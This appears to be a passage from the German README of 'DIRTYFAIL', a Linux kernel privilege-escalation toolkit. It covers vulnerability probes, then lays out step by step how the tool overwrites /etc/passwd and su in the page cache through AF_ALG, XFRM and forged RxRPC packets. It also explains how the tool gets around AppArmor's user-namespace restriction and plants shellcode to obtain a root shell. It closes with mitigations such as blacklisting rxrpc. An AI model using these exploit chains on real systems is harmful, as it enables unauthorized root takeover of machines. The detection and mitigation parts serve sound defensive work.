* `esp4` / `esp6` aktuell geladen oder automatisch ladbar
* Erstellung eines unprivilegierten User-Namespace gelingt (getestet via fork →
  Kindprozess `unshare(CLONE_NEWUSER)`)
* AppArmor `apparmor_userns_caps_blocked()` gibt false zurück

Alle vier vorhanden ⇒ VULNERABLE (Voraussetzungen erfüllt).

`--scan --active` erweitert dies um eine Sentinel-STORE-Sonde: wir forken
einen Kindprozess, der den AA-Bypass aktiviert, einen frischen User-/Netzwerk-Namespace betritt,
eine XFRM-SA registriert und den ESP-in-UDP-Trigger gegen eine
`/tmp/dirtyfail-esp-probe.XXXXXX` Sentinel-Datei auslöst. Der Elternprozess liest
die Sentinel-Datei erneut und sucht nach den Marker-Bytes:

* Marker gelandet → Kernel-STORE erreichbar → **VULNERABLE**
* Seite intakt → Kernel-Patch wirksam → **NOT VULNERABLE**
* AA-Bypass verweigert → **PRECOND_FAIL** (durch LSM abgeschwächt)

Dies ist die einzige Möglichkeit, einen Kernel mit Backport-Patch von einem
ungepatchten zu unterscheiden, ohne den vollständigen UID-Flip-Exploit gegen
`/etc/passwd` auszuführen. Das gleiche Muster wird für ESP v6, RxRPC und GCM
unter `--active` verwendet.

### Dirty Frag RxRPC (voraussetzungsbasiert — oder aktiv mit `--active`)

Voraussetzungen:
* `rxrpc` in `/proc/modules` oder automatisch ladbar
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` gelingt

Aktive Sonde (`--active`): forkt via AA-Bypass, registriert einen RxRPC-Sitzungsschlüssel
mit einem beliebigen 8-Byte-Wert, sendet eine CHALLENGE + DATA-Fälschung gegen eine
`/tmp`-Sentinel-Datei, sucht nach JEGLICHER Byte-Änderung im gesplicten 8-Byte-Fenster.
Wir versuchen nicht vorherzusagen, was gelandet ist — jede Änderung bestätigt, dass der
Kernel-STORE ausgelöst wird.

### Copy Fail GCM-Variante + ESP v6 — gleiche Form

Die aktive Sonde der GCM-Variante installiert eine SA im Transportmodus mit einer
beliebigen IV und löst `gcm_trigger` gegen eine `/tmp`-Sentinel-Datei aus; JEGLICHE
Byte-Änderung an sentinel[0] bestätigt die Erreichbarkeit. Die ESP-v6-Sonde kalibriert
auch automatisch `V6_STORE_SHIFT` pro Kernel-Build (siehe `calibrate_v6_shift` in
`src/dirtyfrag_esp6.c`) — verschiedene Distributionen setzen den STORE bei
`esp6_input`-Builds an leicht unterschiedlichen Offsets innerhalb der gesplicten Region,
und die Kalibrierungssonde findet den genauen Offset, bevor der eigentliche Exploit
ausgelöst wird.

---

## 8. Wie DIRTYFAIL jede CVE ausnutzt

### Copy Fail Exploit (`copyfail.c`)

Einzelner 4-Byte-STORE durch `algif_aead`:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

Dann den Namespace verlassen, `execlp("su", user)` vom Elternprozess — derselbe letzte Schritt wie bei Copy Fail.

### Dirty Frag RxRPC Exploit (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

Architecture matrix:

* **x86_64 (56 Bytes, 14 verkettete 4-Byte-Schreibvorgänge)** — getestet
  Ende-zu-Ende auf Fedora 44 (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`). Shellcode in
  `shellcode_x86_64[]`.
* **aarch64 (80 Bytes, 20 Anweisungen)** — von Hand aus der
  ARMv8-A-Referenz kodiert, **nie auf Hardware ausgeführt**. Geschaltet hinter
  `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Quellcode ausgeliefert in
  `tools/exploit_su_aarch64.S` zur Community-Überprüfung — assembliere
  mit `aarch64-linux-gnu-as` und bestätige, dass die Byte-Sequenz mit
  `shellcode_aarch64[]` übereinstimmt.
* alles andere → preconds_fail.

Die Statusdatei `/var/tmp/.dirtyfail-su.state` speichert die ursprünglichen
Einstiegspunkt-Bytes, damit `--cleanup-su` sie wiederherstellen kann. `--list-state`
überprüft diese Datei (und die der Hintertür), ohne etwas zu berühren.

Wenn der Verifizierungsschritt feststellt, dass der Seiten-Cache nicht mit dem
eingepflanzten Shellcode übereinstimmt (Kernel gepatcht, AF_ALG auf die schwarze
Liste gesetzt usw.), wird der automatische Rückgängig-Modus sofort ausgelöst und
die Statusdatei entfernt — der Bediener muss danach nicht cleanup-su ausführen.

---

## 8.5 Architektur: Outer/Inner Fork-basierter Bypass

Alle fünf Exploit-Modi teilen eine gemeinsame Architektur für den Umgang mit
Ubuntus `apparmor_restrict_unprivileged_userns=1`-Richtlinie, ohne das
Post-Exploit `su` in einem userns einzusperren, wo es nicht die echte init-ns-Wurzel
erreichen kann.

### Das Problem

Ein naiver Bypass setzt den *gesamten* `dirtyfail`-Prozess innerhalb eines frischen
Benutzernamensraums via `unshare(CLONE_NEWUSER)`. Das reicht aus, um XFRM-SAs zu
registrieren und Splice-Trigger auszulösen — aber es bedeutet auch, dass das spätere
`execlp("su", user)` innerhalb des userns läuft, wo uid 0 via
`uid_map "0 1000 1"` auf die äußere uid des Bedieners (1000) abgebildet wird. PAMs
`setresuid(0)` landet dann bei userns-uid-0-abgebildet-auf-1000, was **nicht** die
echte init-ns-Wurzel ist — `cat /etc/shadow` gibt EACCES zurück, die Shell kann
keine privilegierten Operationen ausführen.

### Der Fix: Outer/Inner Split```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

### Dirty Frag RxRPC (CVE-2026-43500)

1. **Noch kein Upstream-Patch vorhanden.** Forscher-Patch auf lkml; nicht gemerged zum
Zeitpunkt der Erstellung (2026-05-08).
2. **Vorläufig**: blacklisten `rxrpc`:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

### Oder verwende `dirtyfail --mitigate`

Der gleiche Satz von Abhilfemaßnahmen ist in einen durch eine Tippbestätigung geschützten Verteidigungsmodus eingebettet:```sh
sudo ./dirtyfail --mitigate